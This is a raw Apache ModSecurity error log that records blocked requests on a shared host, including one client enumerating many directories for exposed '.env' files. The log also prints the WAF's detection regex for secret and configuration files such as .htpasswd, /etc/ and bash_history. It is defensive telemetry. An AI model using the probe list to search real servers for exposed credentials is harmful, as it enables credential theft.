https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQxL2lk [Sat Jun 13 18:13:02.841104 2026] [security2:error] [pid 531155:tid 531235] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/database/.env"] [unique_id "ai3yDimiP80klyS0NnoJSwABaU8"] [Sat Jun 13 18:13:02.906170 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.12:58284] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:02.906623 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.12:58284] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:02.974592 2026] [security2:error] [pid 531155:tid 531228] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/db/.env"] [unique_id "ai3yDimiP80klyS0NnoJVAABDEg"] [Sat Jun 13 18:13:02.978551 2026] [security2:error] [pid 531155:tid 531411] [client 103.153.183.69:56160] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/static/js/app.js"] [unique_id "ai3yDimiP80klyS0NnoJVQAAAYg"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:03.021909 2026] [security2:error] [pid 531155:tid 531175] [remote 111.225.149.246:52368] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/product-tag/%E0%B8%A3%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%97%E0%B9%89%E0%B8%B2-%E0%B9%80%E0%B8%8B%E0%B8%9F%E0%B8%95%E0%B8%B5%E0%B9%89/page/13/"] [unique_id "ai3yDymiP80klyS0NnoJWAABFRM"] [Sat Jun 13 18:13:03.107792 2026] [security2:error] [pid 531155:tid 531169] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/upload/.env"] [unique_id "ai3yDymiP80klyS0NnoJXAABKQ0"] [Sat Jun 13 18:13:03.174877 2026] [security2:error] [pid 531155:tid 531183] [remote 17.22.237.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yDymiP80klyS0NnoJXwABgBs"] [Sat Jun 13 18:13:03.192194 2026] [security2:error] [pid 531155:tid 531317] [client 103.153.183.69:56176] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/build/static/js/main.js"] [unique_id "ai3yDymiP80klyS0NnoJZAAAASo"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:03.193079 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.104:56820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:03.193503 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.104:56820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:03.212690 2026] [security2:error] [pid 531155:tid 531168] [remote 17.246.19.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yDymiP80klyS0NnoJZQABUAw"] [Sat Jun 13 18:13:03.240900 2026] [security2:error] [pid 531155:tid 531243] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/uploads/.env"] [unique_id "ai3yDymiP80klyS0NnoJZgABU1c"] [Sat Jun 13 18:13:03.269840 2026] [security2:error] [pid 531155:tid 531352] [client 103.153.183.69:56192] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/app.js"] [unique_id "ai3yDymiP80klyS0NnoJZwAAAU0"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:03.297979 2026] [security2:error] [pid 531155:tid 531310] [client 216.73.216.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/get_class_methods_variation_001.phpt"] [unique_id "ai3yDymiP80klyS0NnoJagAAASM"] [Sat Jun 13 18:13:03.334946 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:13:03.335233 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:13:03.374300 2026] [security2:error] [pid 531155:tid 531256] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/backup/.env"] [unique_id "ai3yDymiP80klyS0NnoJbwABMGQ"] [Sat Jun 13 18:13:03.381045 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.103:52976] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:03.381311 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.103:52976] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:03.422956 2026] [core:error] [pid 531155:tid 531345] [client 47.79.201.205:61736] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:03.422979 2026] [core:error] [pid 531155:tid 531345] [client 47.79.201.205:61736] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:03.507368 2026] [security2:error] [pid 531155:tid 531174] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/backups/.env"] [unique_id "ai3yDymiP80klyS0NnoJeQABWhI"] [Sat Jun 13 18:13:03.640006 2026] [security2:error] [pid 531155:tid 531252] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/.backup/.env"] [unique_id "ai3yDymiP80klyS0NnoJgAABeGA"] [Sat Jun 13 18:13:03.678563 2026] [security2:error] [pid 531155:tid 531203] [remote 17.241.227.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yDymiP80klyS0NnoJgwABIC8"] [Sat Jun 13 18:13:03.781738 2026] [access_compat:error] [pid 531155:tid 531225] [remote 57.141.14.90:28408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:03.782203 2026] [access_compat:error] [pid 531155:tid 531225] [remote 57.141.14.90:28408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:03.801154 2026] [security2:error] [pid 531155:tid 531306] [client 74.7.228.54:56140] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "x-rayaproncleaner.com"] [uri "/robots.txt"] [unique_id "ai3yDymiP80klyS0NnoJiwAAAR8"] [Sat Jun 13 18:13:03.859693 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:13:03.860046 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:13:03.951084 2026] [security2:error] [pid 531155:tid 531370] [client 74.7.228.54:42176] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "404"] [hostname "x-rayaproncleaner.com"] [uri "/robots.txt"] [unique_id "ai3yDymiP80klyS0NnoJkwABX3Y"], referer: http://x-rayaproncleaner.com/robots.txt [Sat Jun 13 18:13:04.020301 2026] [security2:error] [pid 531155:tid 531158] [remote 17.22.245.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yECmiP80klyS0NnoJmwABaQI"] [Sat Jun 13 18:13:04.186363 2026] [security2:error] [pid 531155:tid 531279] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/old/.env"] [unique_id "ai3yECmiP80klyS0NnoJpQABLHs"] [Sat Jun 13 18:13:04.319241 2026] [security2:error] [pid 531155:tid 531187] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/new/.env"] [unique_id "ai3yECmiP80klyS0NnoJrgABUB8"] [Sat Jun 13 18:13:04.324698 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.2:39077] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:04.325111 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.2:39077] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:04.330243 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:13:04.330529 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:13:04.452249 2026] [security2:error] [pid 531155:tid 531185] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/2020/.env"] [unique_id "ai3yECmiP80klyS0NnoJsQABUx0"] [Sat Jun 13 18:13:04.584778 2026] [security2:error] [pid 531155:tid 531202] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/2021/.env"] [unique_id "ai3yECmiP80klyS0NnoJuwABJy4"] [Sat Jun 13 18:13:04.601065 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.61:40234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:04.601517 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.61:40234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:04.708945 2026] [security2:error] [pid 531155:tid 531254] [remote 17.246.19.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yECmiP80klyS0NnoJyAABJGI"] [Sat Jun 13 18:13:04.717826 2026] [security2:error] [pid 531155:tid 531180] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/2022/.env"] [unique_id "ai3yECmiP80klyS0NnoJygABTxg"] [Sat Jun 13 18:13:04.851700 2026] [security2:error] [pid 531155:tid 531282] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/2023/.env"] [unique_id "ai3yECmiP80klyS0NnoJ1AABfn4"] [Sat Jun 13 18:13:04.861543 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:04.861994 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 